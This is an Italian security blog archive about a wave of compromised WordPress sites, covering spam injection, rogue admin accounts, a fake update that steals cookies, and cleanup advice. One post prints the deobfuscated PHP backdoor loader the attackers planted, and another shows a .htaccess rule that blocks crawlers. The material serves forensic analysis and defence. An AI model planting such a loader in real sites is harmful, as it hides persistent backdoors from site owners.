Il non-blog di Mario Pascucci

Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)

Archivio per la categoria Wordpress

Il cugino del Wordpress Autotest: Unmask Parasites

Jun 22

Pubblicato da Mario Pascucci in Information security, Wordpress | 2 commenti

Il test per blog infetti non è più disponibile su questo sito, ma qualcuno ha implementato un servizio simile, impiegando Google App Engine: Unmask Parasites.

Il servizio esegue dei controlli sul codice emesso dal web server del sito esaminato alla ricerca di indizi e segni tipici dell’intrusione che per oltre un anno ha devastato i blog basati su versioni obsolete e vulnerabili di Wordpress. Oltre questo, propone di usare Google per individuare i segni esterni dell’intrusione.

Peccato che, dagli ultimi siti analizzati, l’iniezione di link abusivi sia praticamente sparita per fare posto a codice malevolo molto più pericoloso. Non so se il sito in questione faccia dei controlli in tal senso, ma posso affermare che tali controlli sono quasi impossibili da automatizzare, per una ragione molto semplice: mentre l’iniezione di link nascosti ha certe caratteristiche comuni e ben individuabili, le violazioni su cui sto indagando negli ultimi tempi inseriscono del codice PHP offuscato che produce pagine web con codice Javascript, a sua volta offuscato, che opera redirect o tenta di rifilare malware a chi visita il sito. Il modello di offuscamento cambia ogni volta e non è possibile trovare degli elementi comuni, tali da permettere un automatismo nella ricerca.

Insomma, il mentecatto, come sospettavo, si sta dando da fare. La soluzione è sempre la stessa: aggiornare prima di essere violati.

Tags: , ,

Owned Wordpress: niente più test

Jun 17

Pubblicato da Mario Pascucci in Varie (ed eventuali), Wordpress | 2 commenti

Era da un po’ che lasciavo andare in pezzi il blog, ed oggi mi sono deciso a fare un po’ di pulizie di primavera, in ritardo. Aggiornamenti, nuovo tema, rimossa vecchia roba inutile.

Fra questi, ho eliminato il test per i blog Wordpress “0wn3d”, per vari motivi:

  • Non è più efficace. L’ondata di spam nascosto e mostrato agli spider dei motori di ricerca è stato reso inefficace dalla reazione forte dei motori di ricerca stessi. I blog con ancora installate le vecchie versioni, o che erano colpiti dalla pestilenza, sono ora colpiti da varianti meno complesse ma infinitamente più subdole: iniezioni di Javascript colpiscono i visitatori tentando di rifilare malware estremamente dannosi; link singoli vengono nascosti in punti insospettabili; backdoor vengono insediate in punti poco evidenti. Insomma, il test è del tutto inefficace per queste varianti, ma chi ha un blog violato, anche se ha aggiornato all’ultima versione di Wordpress potrebbe avere gravi problemi di sicurezza, non rilevabili facilmente dall’esterno.
  • Nelle ultime settimane ha lavorato pochissimo, segno che l’interesse non è più così alto. Naturalmente, blog colpiti ve ne sono ancora tanti, ma i sintomi sono differenti.
  • Il codice è stato scritto senza preoccuparsi troppo della correttezza formale e dei canoni della programmazione. Non è da escludere che contenga errori gravi abbastanza da compromettere l’intero sito. E non mi va di rischiare, senza nessun vantaggio.

Per questo motivo, la pagina del test è sostituita con un redirect a questo post. Se a qualcuno interessa, lo script PHP dell’ultima versione è disponibile per il download, senza nessun vincolo, a parte la licenza GPLv2.

Wordpress Autotest v1.11 (zip)

Questo capitolo si chiude, ma il mentecatto è là fuori che trama. Il suo problema non è trovare siti vulnerabili da conquistare, no. Questo è semplicissimo. Il suo problema è trovare il modo di guadagnarci sopra, ma non dovrebbe essere troppo difficile inventarsi qualche birbonata.

Tags: ,

Owned Wordpress: tempesta finita? Questa sì.

Mar 17

Pubblicato da Mario Pascucci in Information security, Wordpress | Nessun commento

In un prossimo seminario presso IISFA parlerò dei metodi di analisi relativi ad una intrusione in un sito web, al fine di trovare cosa è stato modificato, in che modo e quale sia lo scopo delle modifiche rilevate.

Per l’occasione userò il materiale raccolto negli ultimi tempi in alcuni incidenti di sicurezza riguardanti vari siti web, il cui proprietario ha dato naturalmente il consenso per l’uso. Una parte consistente sarà tratta dal lavoro fatto su numerosi blog con Wordpress compromessi in vari modi.

Siti puliti, o sporcati in modo differente

Con l’occasione ho dato uno sguardo a parecchi siti web “storici”, ossia compromessi da tempo, che non sono mai stati ripuliti. Alcuni sono lindi e innocenti come un neonato. Niente link, niente codice strano prodotto al passaggio di uno spider, niente di niente. La versione di Wordpress è esattamente la stessa di prima, cioè non è stato fatto alcun aggiornamento all’installazione, solo che l’infezione è sparita. In altri siti è cambiato il tipo di infezione, da quello più sofisticato, con il codice attivo nascosto nel database che reagisce agli spider dei motori di ricerca, ad un semplice blocco di codice HTML accodato ad uno o più post, di solito un tag <font>, <u> o <b>, con una istruzione di stile che serve a nascondere il blocco (tipicamente uno style=”display:none;”). Nel blocco, 100-200 link con le solite parole chiave, invisibili a meno che si disabiliti l’uso dei fogli di stile nel browser o si vada ad ispezionare il codice emesso dal server.

Probabilmente la presenza del blocco non è neanche visibile aprendo il post modificato nell’editor avanzato di Wordpress.

Cosa cambia

I siti rimasti con la vecchia infezione sembrano abbandonati dal mentecatto, ossia i link iniettati sono rimasti gli stessi da parecchio tempo. Alcuni siti che sono stati ripuliti usando un backup, senza quindi aggiornare, hanno subito una o due reinfezioni per poi essere lasciati in pace, segno che o il mentecatto ha capito che non ne vale la pena, o ha chiuso l’attività.

Sicuramente la reazione forte dei principali motori di ricerca, ossia il ban e la totale esclusione del sito dall’indice alla rilevazione dell’infezione, ha avuto la sua parte nella rinuncia del mentecatto, sempre se di rinuncia si tratta.

Per i siti ancora riportanti i link, il modello dell’intrusione è differente. Per poter modificare i post e aggiungere in coda i link nascosti è necessario molto meno lavoro e l’intrusione è molto meno profonda: non servono plugin nascosti, non servono modifiche ai file di Wordpress, non servono blocchi di codice nascosti nel database. E’ sufficiente operare solo la prima parte dell’intrusione per creare un amministratore nascosto, ed utilizzarlo per modificare a piacere i post già pubblicati. Il vantaggio è che non serve codice complesso o strane alchimie, è sufficiente avere tale account nascosto.

Il Wordpress Autotest

In questo frangente l’autotest è molto meno efficace, mancando gran parte delle firme caratteristiche dell’intrusione. Efficace nel senso che gli indicatori rossi sono molti meno, non meno efficace nel rilevare le stranezze. Quindi le indicazioni appaiono meno preoccupanti ad un osservatore poco attento. In pratica l’autotest è quasi inutile.

A questo proposito nelle prossime settimane aprirò il codice, mettendolo a disposizione di chi vuole studiarselo, visto la sua probabile inutilità.

Il pericolo non è passato

Il fatto che il nostro amico mentecatto abbia rinunciato, non vuol dire che i blog con versioni vulnerabili di Wordpress (ossia tutte quelle anteriori alla 2.6.5, al momento in cui scrivo) possano ritenersi al sicuro. Manco per niente. Quella che è passata è solo questa specifica tempesta di intrusioni, ma i siti sono ancora vulnerabili e sfruttabili per un numero incredibile di usi poco etici. Phishing, distribuzione di materiale proibito o illegale, spam, solo la fantasia (malata) di questa gente pone un limite. Ficcare un sito di phishing in un sito Wordpress compromesso è un gioco da ragazzi.

Per capirci, il nostro amico mentecatto non ha avuto alcuna particolare difficoltà a trovare il modo di violare tanti siti web. Basta fare un giro su alcuni siti web, fra cui il conosciutissimo e professionale SecurityFocus per trovare tutto quello che serve. In questi siti si trovano nel caso migliore solo dei PoC (Proof of Concept, dimostrativi) ossia dei brevi spezzoni di codice che mostrano come sfruttare il bug nel codice dell’applicazione. Mettere insieme alcuni di questi spezzoni e costruire uno strumento automatizzato per violare a catena un numero a piacere di siti web è una operazione banale per chi sappia maneggiare un po’ di codice.

Il motivo per cui questi spezzoni di codice vengono pubblicati è perché gli errori e le vulnerabilità sono note al produttore, che ha rilasciato la correzione da tempo, e che probabilmente sono arcinoti alla pletora di acari in giro per la Rete, quindi il passarli sotto silenzio è infinitamente più pericoloso che renderli pubblici. Se la serratura della mia auto si apre con una mina di matita senza lasciare tracce, io voglio saperlo. Ed il parallelo è quanto mai azzeccato, potete credermi sulla parola.

Se poi sappiamo dove andare a guardare ci sono in giro kit già pronti con tutto il necessario per trovare, violare e sfruttare a proprio piacimento siti web vulnerabili, utilizzabili da qualsiasi idiota che sappia come lanciare un programma. Ne ho parlato un due diverse occasioni, una delle quali era il convegno di CFItaly nel giugno 2008.

Quindi, torno a ripetere: il fatto, possibile anche se non confermato, che il nostro amico mentecatto abbia abbandonato la sua attività non è un segnale che autorizza a lasciare il proprio sito Wordpress (vale anche per Joomla, Xoops, Drupal, MediaWiki, ecc.) non aggiornato ad una versione obsoleta e vulnerabile. E’ un comportamento irresponsabile, niente di meno.

Niente di più facile che il sito vulnerabile sia usato come “testa di ponte” per attaccare l’intero hosting, situazione già verificatasi più volte. Per il proprietario del sito sarebbe una brutta storia, perché il servizio di hosting scaricherebbe la responsabilità della riuscita dell’attacco (giustamente, dico io) sul proprietario del sito web vulnerabile.

Insomma, spero sia chiaro che non c’è da scherzarci sopra. E per la legge italiana, chiedete conferma a chi volete, se qualcuno subisce un attacco dal vostro sito web, violato da qualcun altro, occorre dimostrare di aver fatto il possibile per evitare che succedesse. E non credo che il mancato aggiornamento di un software in versione notoriamente vulnerabile possa essere considerato “tutto il possibile”. Ed un avvocato considererà molto peggio una scusa del tipo “non mi funziona il template con le versioni nuove”.

Cosa ci insegna la vicenda

Che se da un lato è semplice e “trendy” parlare di Web 2.0 e social networks, a quanto pare parlare di sicurezza in Rete è considerato demodé, ed i risultati si vedono. Negli ultimi tempi gli attacchi si stanno facendo meno sofisticati, mantenendo di contro una altissima efficacia. Segno che non solo gli utenti sono impreparati ad affrontare un attacco di phishing o a base di social engineering, ma il dramma è che gli stessi professionisti del settore informatico sono poco preparati, quando non ignorano del tutto il problema.

Mi sono capitati sviluppatori, webmaster, grafici, sysadmin che non hanno la più pallida idea del livello di sicurezza richiesto per “andare in Rete”. In qualche caso mi è stato risposto che “basta prendere un hosting blindato”. Non mi stupirebbe che siano in molti a pensarla così.

Una cosa che personalmente ho imparato, e che mi ha lasciato molto perplesso, almeno all’inizio, è l’estrema difficoltà a far capire alle persone quanto pericoloso sia avere un sito vulnerabile, o peggio già violato. Lo dimostra anche il fatto che il mentecatto non è stato sconfitto, per niente. Ha rinunciato lui perché la strategia di piazzare link nascosti nei blog non è più efficace ai suoi scopi. Semmai è stato sconfitto dalla prontezza e dalle azioni di contrasto di chi gestisce i motori di ricerca, più che dalla reazione dei proprietari di siti violati. Tanto è che alcune persone mi hanno contattato alla ricerca di aiuto solo dopo che il dio Google li aveva eliminati dalla faccia del web, bannandoli dall’indice.

Altra cosa è che presentarsi per segnalare che un certo sito web è stato violato provoca spesso reazioni ostili, piuttosto che di attenzione o allarme. Insomma, o ti chiami con un nome notissimo (e magari con fama immeritata), o nella migliore delle ipotesi vieni ignorato. C’è stato un momento in cui ho temuto di essere scambiato per il nostro amico mentecatto… Ovvio, no? Prima ti “buco” il sito, poi mi presento e ti chiedo 500 euro per ripulirtelo.

Semmai mi è successo il contrario: vengo contattato perché il blog è stato bucato e una ricerca su Google restituisce il mio sito, ed alla mia offerta di dare una mano senza nulla chiedere mi viene detto che i blog in realtà sono di più, perché anche quelli di altri amici sono bucati.

Alla fin fine

Questo probabilmente sarà l’ultimo articolo dedicato alla vicenda, che per quanto mi riguarda ha esaurito la sua importanza, per non parlare del mio interesse in merito. Come ho già detto, nelle prossime settimane, se il mentecatto non si farà vivo con qualche altra trovata geniale, pubblicherò il sorgente del Wordpress Autotest, che contestualmente verrà eliminato dal mio sito. Non sono uno sviluppatore esperto di sicurezza, e non è una ipotesi peregrina che il codice possa contenere un disastroso errore, tale da compromettere la sicurezza del mio sito. Il codice è stato sviluppato in fretta e con il preciso scopo di fornire uno strumento di autoverifica affidabile e di facile uso per chi non ha le competenze necessarie.

Se il mentecatto ha rinunciato perché efficacemente contrastato da Google, il test è diventato inutile ed è privo di senso lasciarlo online, visto che potrebbe costituire un pericolo per il mio stesso sito.

Tutto ciò non deve autorizzare nessuno a dormire sonni tranquilli. Ogni giorno decine, forse centinaia di siti web vengono violati in modi sottili, perché la violazione spesso non si esplicita in un defacement, plateale ma inutile agli scopi di questa gente. Sempre più spesso il sito violato finisce per ospitare un sito per il phishing, o peggio un appoggio per materiale illegale da distribuire. Quasi tutti i siti di phishing che mi capita di trovare nei messaggi di spam che ogni giorno infestano la mia casella di posta sono “ospitati” in siti di ignari utenti che non hanno la più pallida idea di cosa stia capitando. Chi detiene un sito vulnerabile, e lo sa, sarà prima o poi vittima di un attacco del genere. E’ inevitabile. Lo dice lo spam.

Tags: , ,

Wordpress Autotest: effetti collaterali imprevisti

Feb 12

Pubblicato da Mario Pascucci in Information security, Wordpress | 1 commento

Sono piuttosto impegnato in questo periodo e, piuttosto malvolentieri, sono costretto a dare delle priorità. Il non-blog in questo frangente risulta avere un livello di urgenza minimo. Appena cala il carico prometto che mi rimetto in riga.

Andiamo al motivo che mi ha fatto uscire dalla tana e scrivere queste poche righe.

Quando ho creato il Wordpress Autotest, la mia intenzione era di fornire uno strumento automatico di diagnosi alla portata di tutti per verificare se il proprio sito era caduto vittima di un attacco molto specifico ed estremamente pericoloso. Al contempo, avevo pubblicato anche una guida rapida per riportare il blog con Wordpress, attaccato e violato, sotto il nostro controllo legittimo.

Tramite il test, a distanza ormai di quasi un anno dall’inizio dell’attacco, ed a oltre otto mesi dalla pubblicazione del test, vengono tuttora scoperti blog violati sotto il controllo del mentecatto che ha dato origine a tutto questo, segno che il pericolo è tutt’altro che passato.

Quello che avevo immaginato è che coloro in possesso di un sito Wordpress autogestito (in self-hosting, come si dice) dopo aver fatto il test e rilevata l’infezione, procedessero, da soli o con l’aiuto di qualcuno, alla pulizia seguendo le più elementari regole di buon senso, primo fra tutti un sano e robusto upgrade della versione di Wordpress ad una che non offra occasioni di far birbonate ai mentecatti in giro per la Rete.

Invece quello a cui sto assistendo è che molti usano il test come un “allarme” per rilevare se è ora di ripristinare un backup. E rimettere la stessa identica versione di Wordpress, lasciando di fatto il sito aperto ad una nuova intrusione che puntualmente si verifica nel giro di qualche giorno.

Immagino ci siano delle ottime ragioni per usare questa strategia, come ad esempio il dover rifare un template, o il rinunciare ad alcuni plugin assolutamente necessari, ma a questo punto perché non installare un plugin apposito come il Wordpress Exploit Scanner. Faccio notare che il plugin funziona solo con Wordpress 2.5.1 o successivo, perché (cito l’autore): “There’s not much point in finding exploited files if you’re running an old version of the software that can be broken into again.” (tradotto grossolanamente: non è molto utile cercare file modificati se si usa una vecchia versione che può essere sfasciata in qualsiasi momento).

C’è anche un altro problemino. Un sito bucato con questa tecnica potrebbe diventare la porta di ingresso in un hosting condiviso. Mi spiego: molti servizi di hosting impiegano dei software per far convivere tanti siti web sullo stesso server, mantenendoli separati sia dal punto di vista logico che dal punto di vista sicurezza. Ma i meccanismi di separazione non sono infallibili, e un singolo sito violato rappresenta una minaccia gravissima per tutti i siti ospitati sullo stesso server fisico. Tanto per fare un esempio, sullo stesso server su cui state leggendo queste righe sono ospitati centinaia di siti, tutti indipendenti uno dall’altro.

Non è un caso raro, anzi, mi sono capitati casi in cui siti perfettamente a posto sul piano sicurezza, o addirittura “statici”, ossia senza pagine dinamiche ma solo in HTML, fossero iniettati di schifezze a causa di una intrusione massiccia originata da un altro sito ospitato sullo stesso server.

Ad un certo punto, il mentecatto che usa i siti Wordpress bucati per fare pubblicità a scrocco (il termine tecnico sarebbe black SEO o black hat SEO) potrebbe trovarsi tagliato fuori dai motori di ricerca, che stanno attivamente reagendo a queste tecniche di spamming con l’esclusione dei siti infettati dagli indici. Nessuno ci assicura che non possa prendere una strada differente e cercare di violare l’intero server, invece di limitarsi ad un singolo blog. Alcuni servizi di hosting prendono provvedimenti molto seri verso chi ha il sito “bucato”, a partire dalla diffida a provvedere a turare le falle, fino alla risoluzione del contratto ed alla citazione per danni. Leggete attentamente le clausole del vostro servizio di hosting e poi riflettete se è il caso di continuare a ripristinare un backup dello stesso sito, o magari non è giunto il momento di tappare qualche buco.

Tags: , ,

Owned Wordpress: blog “dormienti”, aggiornamenti inutili e varie

Nov 11

Pubblicato da Mario Pascucci in Information security, Wordpress | 4 commenti

Sono più di due mesi che non parlo dell’argomento, ma non significa assolutamente che il pericolo sia passato, tutt’altro. Il numero di blog italiani violati è molto alto, e si mantiene costante non perché la tempesta sia passata, ma per altre ragioni, legate sia alla maggiore reattività dei motori di ricerca sia alla scarsissima reattività dei proprietari dei blog. Ma potrebbero esserci novità in arrivo.

Da qualche tempo ho notato un comportamento diverso per alcuni dei blog violati. Il Wordpress Autotest restituisce risultati con meno punteggi rossi, nei test delle parole chiave, in quello dei link nelle differenze e le stesse differenze sono spesso tutti di un rassicurante verde. L’infezione c’è, tanto che gli indicatori certi, basati sulle firme caratteristiche, sono rossi, ed anche una ispezione “visiva” al codice HTML emesso dal server mostra i segni inequivocabili della violazione. Ma il codice infiltrato nel blog non emette alcun link. Non è il risultato di una pulizia mal riuscita del blog, perché i tag di apertura e chiusura (DIV), il falso account di Google AdSense ed il codice Javascript di occultamento sono al loro posto, ben nascosti dentro il database, e vengono emessi alla visita degli spider, quindi sia i record fasulli nel database che il falso plugin sono al loro posto.

Probabilmente ci sono meno clienti per lo spam, o magari è una mossa per fare riprendere fiato al blog rispetto ai motori di ricerca, e fargli riguadagnare posizioni. Sono già due volte che succede, e la prima volta nel giro di 48 ore i blog “dormienti” erano di nuovo pronti ad emettere 100-200 link alla visita di uno spider.

Quindi, se avete fatto il test e sia i link che le parole proibite erano verdi, ma gli indicatori certi erano rossi (i test H e I) il vostro blog è ancora in mano a qualcun altro.

Parlando d’altro, ho trovato due blog aggiornati a Wordpress 2.6.2 che presentano tutti i segni della violazione, nessuno escluso, a conferma che neanche l’aggiornamento alla versione 2.6.2 è più sufficiente per ripulire un blog violato in precedenza. Non è da escludere che il mentecatto abbia fatto un “upgrade” al codice iniettato, per supportare anche la versione 2.6.x. Niente male, considerando che molti plugin di Wordpress sono molto meno aggiornati e spesso fermi alla versione 2.3.x o al massimo alla 2.5.x. Ricordo che se il blog era “pulito”, un aggiornamento anche solo alla versione 2.5.1 lo mette al sicuro dall’essere violato una volta per tutte, mentre se il blog era stato violato prima di essere aggiornato ad una versione 2.5.1 o successiva, l’aggiornamento da solo non risolve un bel niente (vedere anche qui). E’ come installare la porta blindata, con il ladro che dorme in salotto.

Il comportamento di redirect ai siti delle farmacie è sempre presente, ma ci sono delle varianti in cui, invece di reindirizzare il browser, viene emessa una pagina del tutto simile a quella di un normale blog, che però nulla ha a che vedere col blog originale, e non è un redirect, il codice viene emesso direttamente dal server del blog visitato. La pagina contiene una messe di frasi sconnesse sintatticamente, ma ricche di parole chiave tutte legate a farmaci: efficacia ed effetti collaterali, vendita online. Il tutto impaginato e presentato come un normale post, con tanto di tags, commenti a tema, permalink e foglio di stile personalizzato. Forse esperimenti per un tipo differente di spam, o per ingannare gli spider e far indicizzare più link senza paura di essere bannati.

Negli ultimi mesi alcune persone si sono accorte autonomamente di avere il blog violato, grazie a stranezze nell’andamento delle visite, in qualche caso ridotte di un fattore 10, in un altro aumentate di un fattore 5 (!), però con parole chiave non proprio relative al regolare contenuto del sito. Sono stato contattato e ho dato una mano a ripulire, senza “sdraiare” completamente il blog, visto che so cosa cercare e dove, nonostante ogni blog sia violato in modo differente: differenti sono i file modificati, differenti quelli inseriti come falso plugin ed infine differenti le modifiche al database, a parte quella dell’amministratore abusivo.

Come avevo ipotizzato qualche tempo addietro, anche alcuni siti basati su Joomla! sono entrati nel girone infernale dei siti own3d. Ho trovato in blog Wordpress violati link nascosti che puntano a siti Joomla! violati. Tutti insieme appassionatamente in mano al mentecatto.

Tags: , ,

Falso aggiornamento per Wordpress: bug nelle versioni 2.5.x e successive?

Nov 7

Pubblicato da Mario Pascucci in Information security, Wordpress | 2 commenti

Apprendo tramite Paolo Valenti di Wordpress-it.it di un recentissimo problema riguardante Wordpress, a quanto pare dalla versione 2.5.x in poi.

Nella bacheca, nello spazio di solito ospitante le notizie dal blog di sviluppo di Wordpress, appare improvvisamente un avviso di aggiornamento immediato ad una fantomatica versione 2.6.4, di cui sul sito originale non vi è traccia. L’avviso è contrastante con il pulsante in alto, sempre nella bacheca, che afferma che l’ultima versione disponibile è la 2.6.3. Il link porta ad un falso sito di Wordpress, residente sul dominio wordpresZ.org, dove l’ultima “s” del nome è sostituita da una “z”.

La versione distribuita da quel sito è contraffatta: nel file wp-includes/pluggable.php alla riga 598 sono state aggiunte 5 righe il cui scopo è trafugare cookie di autenticazione e di sessione di utenti registrati nel blog.

La domanda più importante è: come hanno fatto a modificare le impostazioni del “widget” che mostra i feed del blog di sviluppo di Wordpress? Tali impostazioni dovrebbero essere modificabili solo da utenti con un livello di accesso alto, tipicamente un amministratore, e le impostazioni stesse sono conservate nel database. Ho provato ad ipotizzare tre scenari:

  1. bug che permette un SQL-injection non ancora scoperto in Wordpress 2.5.x e successivo
  2. bug nel codice di modifica del widget che mostra i feed RSS nella bacheca
  3. blog violato in precedenza, prima di un upgrade, con un amministratore abusivo

La prima la escluderei per un semplice ragionamento di economia: se c’è una vulnerabilità di questo tipo, perché non usarla direttamente per iniettare un amministratore abusivo nel blog e fare tutti i comodi da quell’account? Il fatto che la versione “troianizzata” si limiti a trafugare i cookie di sessione fa pensare che lo scopo è di operare tramite session hijacking per agire sul blog con le credenziali di un utente attivo in quel momento, quindi se lo scopo è questo, ossia operare nel blog, perché non creare al volo un utente amministratore tramite SQL-injection, operare ed eliminare poi l’utente per non lasciare tracce. Quindi escluderei questa ipotesi.

La terza è parimenti da escludere per le stesse ragioni: se c’è un amministratore abusivo frutto di una violazione precedente all’aggiornamento, perché non usare direttamente quello? I due blog che hanno avuto il problema non mostrano nessun segno dell’intrusione, e sono entrambi in versioni “non sospette”, uno ha la 2.5.1, mentre l’altro addirittura ha l’ultima versione ufficiale, la 2.6.3.

La seconda invece è abbastanza verosimile. Un bug limitato al solo codice di modifica delle impostazioni del widget limiterebbe l’effetto alla sola visualizzazione del widget e niente altro. Si spiegherebbe anche perché venga usato il falso sito con l’avviso per l’aggiornamento, per indurre l’utente ad autoinfettarsi installando la versione troianizzata.

Ulteriori indagini sono in corso. Se qualcuno ha notizie più fresche o ha elementi nuovi, non esiti a contattarmi. Se vi capita di avere questo messaggio che invita a passare alla versione 2.6.4 nella bacheca, non toccate nulla, fate un backup del database e dell’installazione di Wordpress e contattatemi. E’ importantissimo poter analizzare questi dati per trovare il punto d’ingresso.

Aggiornamento delle 14.45

Il sito wordpresz.org è ora “down”, nel senso che non è più risolto dai DNS. Il record Whois è ancora presente, segno che il nome è registrato e non pare cancellato. Rimane comunque alto il livello di attenzione: potrebbero provarci con un altro sito, con nome differente, e tentare lo stesso trucco, o una variante. Rimane da stabilire quale sia stato il sistema usato per cambiare il feed nella bacheca, e se la mia ipotesi è vera potrebbero esserci sviluppi in futuro.

Tags: , ,

E’ già iniziato

Aug 28

Pubblicato da Mario Pascucci in Information security, Wordpress | 2 commenti

L’attacco a Joomla. Forse no, ma forse è già in corso. Nel post precedente, al termine, mettevo in guardia i webmaster che usano Joomla sulla prospettiva non proprio remota di andare a far compagnia ai webmaster con Wordpress compromesso.

Oggi ho provato qualche ricerca con termini ricorrenti nei link di spam, e indovinate un po’: decine di siti, anche italiani, che presentano link spam nascosti nella home page, iniettati in modo molto simile a quello usato in molti siti che impiegano Wordpress. Secondo la cache dei motori di ricerca, le pagine sono state visitate tutte dopo l’inizio di agosto, dal 10 in poi.

Spero di sbagliarmi, che siano siti compromessi da molto più tempo, e per ragioni differenti, e non l’inizio di una nuova piaga.

Ah, il Wordpress Autotest, anche se si lamenta che il sito non è basato appunto su Wordpress, rileva comunque parole chiave e stili CSS atti a nascondere contenuto, ossia funziona anche con Joomla, anche se con qualche incertezza. Dato che la strategia di spamming rimane la stessa, pur cambiando lo strumento, i test euristici rilevano le stesse stranezze di tutti gli altri siti compromessi.

Tags: , ,

Compiti per le vacanze: la soluzione

Aug 27

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Vista la nutrita schiera dei partecipanti e la massa di soluzioni che mi sono pervenute (una sola, completamente fuori strada), qui di seguito trovate la soluzione all’indovinello estivo.

Il primo passo era di reperire il file da qualche parte, ed a questo qualcuno c’è arrivato, bravo Nanni. Era sufficiente cercare in Google una delle stringhe mostrate nell’immagine. Ad esempio basta inserire la stringa lpa1zxy (la terza in alto nell’immagine) in Google, ed il primo risultato è quello voluto. Notare che i siti che si ottengono dalla ricerca sono stati compromessi in vari modi, e probabilmente lo sono ancora. I bug e le vulnerabilità su cui si basano le intrusioni sono noti ormai da anni e se un webmaster non sa fare il suo lavoro è un suo problema.

Reperito il file, rimane da capire cosa stiamo guardando. A prima vista sembra qualcosa di cifrato con un algoritmo piuttosto banale, tipo una codifica Base64, o una ROT-13 (o cifrario di Cesare modificato).

Invece, e qui si mostra ancora una volta la genialità del mentecatto, si tratta di normale codice PHP, in cui le stringhe apparentemente codificate sono soltanto dei commenti. Eliminandoli e ricostruendo il codice “attivo” il risultato è un misero:


<?
$f = create_function("",strrev(get_option("wordpress_options")));
$f();
?>

Tutto qui. Questo è quello che viene inserito come plugin nei blog basati su Wordpress violati dal mentecatto. Il plugin non fa altro che scaricare dal database, nella tabella delle opzioni di Wordpress, un record iniettato contenente il vero plugin, e lo esegue. Il plugin ha varie funzioni, principalmente quella di controllare lo user agent dei visitatori e presentare i link di spam se è il GoogelBot a visitare il sito, mentre se è un normale visitatore proveniente da una ricerca per le pillole a basso costo lo reindirizza sul sito della farmacia. Poi ha anche altre funzioni, tipicamente di autodifesa, ed è capace di rimettersi in sesto se il blog viene aggiornato o viene fatto un tentativo di pulizia senza usare le maniere forti. Ne esiste una seconda variante, assolutamente identica come codice PHP attivo, sono soltanto differenti le finte stringhe cifrate, cioè i commenti.

Ne ho parlato e scritto fino alla nausea. Il mentecatto (i mentecatti, le infezioni sono in più varianti, questa è la più diffusa) è uno che ci capisce, non un wannabe. I blog Wordpress infetti sono ancora al loro posto, mentre i proprietari dormono sonni tranquilli. Qualcuno ha pure fatto il test, ha visto i risultati e ha continuato come se niente fosse. Se ritiene che qualche link di spam non sia poi un gran problema, beh, in bocca al lupo.

Lo scopo dell’indovinello era quello di verificare le capacità di analisi, assolutamente necessarie per ricostruire gli eventi in caso di intrusione in un sito web. Analizzando questo file, che nei siti compromessi non ha mai l’apparenza di un file PHP, sono riuscito a trovare dove era nascosto il codice che presentava i link e che deviava le visite. Da lì ho scovato le altre iniezioni di dati nel database, ad esempio la cache dei link spam, e la modalità di reinfezione, o di sopravvivenza ad un upgrade. Peccato, una occasione persa, per tutti. Probabilmente sono io che non ho capito bene in cosa consista la Computer Forensics.

Al prossimo indovinello. Ah, a proposito, qualcuno usa Joomla? Beh, sappiate che state per andare in massa a fare compagnia a chi ha Wordpress in versione “farcita”. Alcuni blog Wordpress compromessi mostrano come link di spam siti che fanno uso di Joomla, naturalmente “farciti” con una variante prontamente sviluppata dal mentecatto. Naturalmente è sufficiente un upgrade alla versione corretta per mettersi al riparo, ma certamente non possiamo fare a meno di quel plugin bellissimissimo che con la nuova versione non funziona, e poi il tema stiloso non si vede bene, eh.

Tranquilli, il mentecatto si fa molti meno problemi. A lui il vostro sito piace com’è. Farcito.

Tags: , , , ,

Di classifiche e rantoli, parte II

Aug 26

Pubblicato da Mario Pascucci in Information security, Wordpress | 2 commenti

Come promesso, ho iniziato ad indagare su come riprendere il controllo di come vengano usati i contenuti offerti in questo sito da innumerevoli “servizi di pubblica utilità”. Ho messo le virgolette perché ho la sensazione, ed alcuni fatti me ne danno ragione, che della pubblica utilità non gliene importi granché.

Il primo passo è stato di installare un sistema di rilevazione delle visite, che mi permette di scoprire chi, da dove e come accede al sito e soprattutto ai feed.

Ho appurato che molti visitatori automatizzati (crawler, robot e spider) non rispettano il contenuto del file robots.txt che, secondo le regole che dovrebbero rendere più civile la convivenza su Internet, dovrebbe indicare a questi visitatori automatizzati dove possono ficcare il naso e dove non possono. Certo, nessuno ne fa un obbligo, si tratta di autoregolarsi. Ma, visto appunto che le regole servono a chi non sa regolarsi, quando il totale disprezzo della proprietà altrui è evidente, si inizia a prendere provvedimenti forti.

Altro dato che per quanto mi riguarda è atteso, ma dovrebbe far saltare sulla sedia chi ignora le più elementari regole per la sicurezza del proprio sito/blog, è rappresentato dal numero di spider in cerca di rogne. In meno di venti ore di raccolta dei dati, su 495 crawler/spider che hanno visitato il sito, 192 contenevano nello User Agent la stringa “libwww-perl”. E il sistema colleziona solo chi accede a pagine “regolari” del sito, non cataloga ad esempio chi tenta di accedere alle pagine “private” (tipo quella di modifica dei temi, o quella di amministrazione, o a quella dei plugin), per cui il numero di accessi preludio ad una intrusione è molto più alto.

Per chi non ne fosse al corrente, gran parte dei mentecatti in cerca di siti da violare usa script fatti in Perl, un linguaggio nato con tutt’altro scopo. Quando uno script Perl accede ad un server web si identifica con quella stringa particolare, appunto “libwww-perl”.

I tentativi fatti da questi script vanno dalla semplice lettura del feed, al tentativo di leggere il file /etc/passwd, ad innumerevoli tentativi differenti di RFI. Ne ho già parlato, ed i principali bersagli sono plugin affetti da problemi di sicurezza.

Il passo successivo, sperimentale, è stato di aggiungere qualche riga al mio file .htaccess, queste per la precisione:


RewriteEngine  on
RewriteCond %{HTTP_USER_AGENT}   ^NomeSpider.*
RewriteRule .+   -   [F]

con il seguente effetto: se il sito viene visitato da qualcosa il cui user agent ha un identificativo che inizia con la stringa NomeSpider, il visitatore ottiene in risposta un 403-Forbidden al posto di qualsiasi pagina contenuta nel sito. In questo modo si chiude in faccia la porta in modo selettivo agli spider “maleducati”.

Naturalmente è una misura di poco valore, per il semplice fatto che un mentecatto competente può in pochi secondi cambiare la stringa identificativa del proprio spider, rendendo inefficace la misura, strategia che ho visto con i miei occhi in molti script “pronti per l’uso” reperiti in Rete per fare birbonate: in qualcuno lo user agent è una stringa casuale, in altri è scelto a caso fra stringhe di browser normali, quali Firefox, Konqueror, Internet Explorer, Safari e via così.

Lo stesso Wordpress Autotest opera in questa maniera, per poter attirare in trappola il codice malevolo iniettato nei blog colpiti: si presenta con differenti user agent allo scopo di costringere il malware a rivelarsi.

